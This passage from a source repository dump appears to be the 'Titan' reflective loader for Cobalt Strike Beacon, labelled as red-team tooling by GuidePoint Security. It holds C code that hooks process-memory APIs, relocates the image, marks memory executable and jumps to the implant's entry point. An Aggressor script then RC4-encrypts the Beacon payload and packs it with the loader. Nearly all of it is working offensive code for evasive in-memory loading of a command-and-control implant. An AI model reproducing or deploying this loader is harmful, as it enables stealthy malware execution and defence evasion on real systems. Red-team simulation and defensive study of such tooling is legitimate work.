); 136 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x5b6b908a, PTR_TO_HOOK( Mem, VirtualProtectEx_Hook ) ); 137 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x5c3f8699, PTR_TO_HOOK( Mem, ReadProcessMemory_Hook ) ); 138 | LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0xb7930ae8, PTR_TO_HOOK( Mem, WriteProcessMemory_Hook ) ); 139 | }; 140 | 141 | /* Get a pointer to the relocation table */ 142 | Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 143 | 144 | if ( Dir->VirtualAddress ) { 145 | /* Process Relocations */ 146 | LdrProcessRel( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), Nth->OptionalHeader.ImageBase ); 147 | }; 148 | 149 | /* Set Heap Parameters */ 150 | SLn = SLn + Sec->SizeOfRawData; 151 | Tbl = C_PTR( PTR_TO_HOOK( Mem, Table ) ); 152 | 153 | if ( ( Tbl->Table = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( TABLE_HEAP ) ) ) != NULL ) { 154 | 155 | /* Give information about image */ 156 | Tbl->Table->RxBuffer = U_PTR( Mem ); 157 | Tbl->Table->RxLength = U_PTR( SLn ); 158 | Tbl->Table->ImageLength = U_PTR( MLn ); 159 | 160 | /* Copy over the CLIENT_ID structure */ 161 | __builtin_memcpy( &Tbl->Table->ClientId, &NtCurrentTeb()->ClientId, sizeof( CLIENT_ID ) ); 162 | 163 | /* Initiliaze heap list header */ 164 | InitializeListHead( &Tbl->Table->HeapList ); 165 | 166 | /* Initialize pipe list header */ 167 | InitializeListHead( &Tbl->Table->PipeList ); 168 | 169 | /* Change Memory Protection. */ 170 | if ( NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &Mem, &SLn, PAGE_EXECUTE_READ, &Prm ) ) ) { 171 | /* Set the values we need! */ 172 | ELn = 0; 173 | Aoe = Nth->OptionalHeader.AddressOfEntryPoint; 174 | if ( NT_SUCCESS( Api.NtFreeVirtualMemory( NtCurrentProcess(), &Enc, &ELn, MEM_RELEASE ) ) ) { 175 | /* Call the "PreMain" to ensure that the ReflectiveLoader is freed! */ 176 | ( ( __typeof__( PreMain ) * ) PTR_TO_HOOK( Mem, PreMain ) )( Map, Aoe ); 177 | }; 178 | }; 179 | }; 180 | }; 181 | }; 182 | return; 183 | }; 184 | -------------------------------------------------------------------------------- /Titan.cna: -------------------------------------------------------------------------------- 1 | ## 2 | ## Reflective Loader 3 | ## 4 | ## GuidePoint Security LLC 5 | ## 6 | ## Threat and Attack Simulation 7 | ## 8 | 9 | import javax.crypto.spec.*; 10 | import java.security.*; 11 | import javax.crypto.*; 12 | 13 | ## 14 | ## Generates a random string ( @offsecginger ) 15 | ## 16 | sub random_string { 17 | $limit = $1; 18 | @random_str = @(); 19 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 20 | for ($x = 0; $x < $limit; $x++) { 21 | $n = rand(strlen($characters)); 22 | add(@random_str, charAt($characters, $n)); 23 | } 24 | return join('', @random_str); 25 | } 26 | 27 | ## 28 | ## Inserts titan into Beacon 29 | ## 30 | set BEACON_RDLL_GENERATE { 31 | 32 | ## 33 | ## Open up titan. 34 | ## 35 | $hnd = openf( script_resource( "Titan.". $3 .".bin" ) ); 36 | $ldr = readb( $hnd, -1 ); 37 | closef( $hnd ); 38 | 39 | if ( strlen( $ldr ) == 0 ) { 40 | ## 41 | ## Titan was not compiled. 42 | ## 43 | warn( 'titan has not been compiled, using standard cobalt loader.' ); 44 | return $null; 45 | }; 46 | 47 | $prf = data_query( "metadata" )["c2profile"]; 48 | if ( [ $prf getString: ".stage.sleep_mask" ] eq "true" ) { 49 | if ( [ $prf getString: ".stage.obfuscate" ] eq "false" ) { 50 | ## 51 | ## We cannot use sleep_mask with Titan if obfuscate = False 52 | ## 53 | warn( 'titan cannot be used with sleep_mask if obfuscate is set to false' ); 54 | return $null; 55 | }; 56 | }; 57 | 58 | ## 59 | ## Ask questions about whether we need workstation 60 | ## or other tweaks inserted into the payload on the 61 | ## fly. 62 | ## 63 | 64 | println( ' ___________________ _ __' ); 65 | println( '/_ __/ _/_ __/ _ | / |/ /' ); 66 | println( ' / / _/ / / / / __ |/ / ' ); 67 | println( '/_/ /___/ /_/ /_/ |_/_/|_/ ' ); 68 | println( '============================' ); 69 | println( 'Reflective Loader by Austin ' ); 70 | println( 'GuidePoint Security LLC' ); 71 | println( '============================' ); 72 | 73 | ## 74 | ## Encrypt the incoming buffer with RC4. Then 75 | ## we build a structure information titan of 76 | ## the key. 77 | ## 78 | $str = random_string( "16" ); 79 | $cip = [ Cipher getInstance: "RC4" ]; 80 | $key = [ new SecretKeySpec: $str, "RC4" ]; 81 | [ $cip init: [ Cipher DECRYPT_MODE ], $key ]; 82 | $buf = [ $cip doFinal: $2 ]; 83 | $inf = pack( 'I+', strlen( $buf ) ); 84 | $inf .= $str . $buf; 85 | 86 | println( "ARC4: ". $str ); 87 | println( "SIZE: ". strlen( $ldr . $inf ) ); 88 | 89 | ## 90 | ## Return Information 91 | ## 92 | return $ldr . $inf; 93 | }; 94 | 95 | ## 96 | ## Size 97 | ## 98 | set BEACON_RDLL_SIZE { 99 | return "0"; 100 | }; 101 | -------------------------------------------------------------------------------- /Titan.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Loads Beacon into memory and executes its 18 | * entrypoint. 19 | * 20 | !*/ 21 | 22 | D_SEC( B ) VOID WINAPI Titan( VOID ); 23 | --------------------------------------------------------------------------------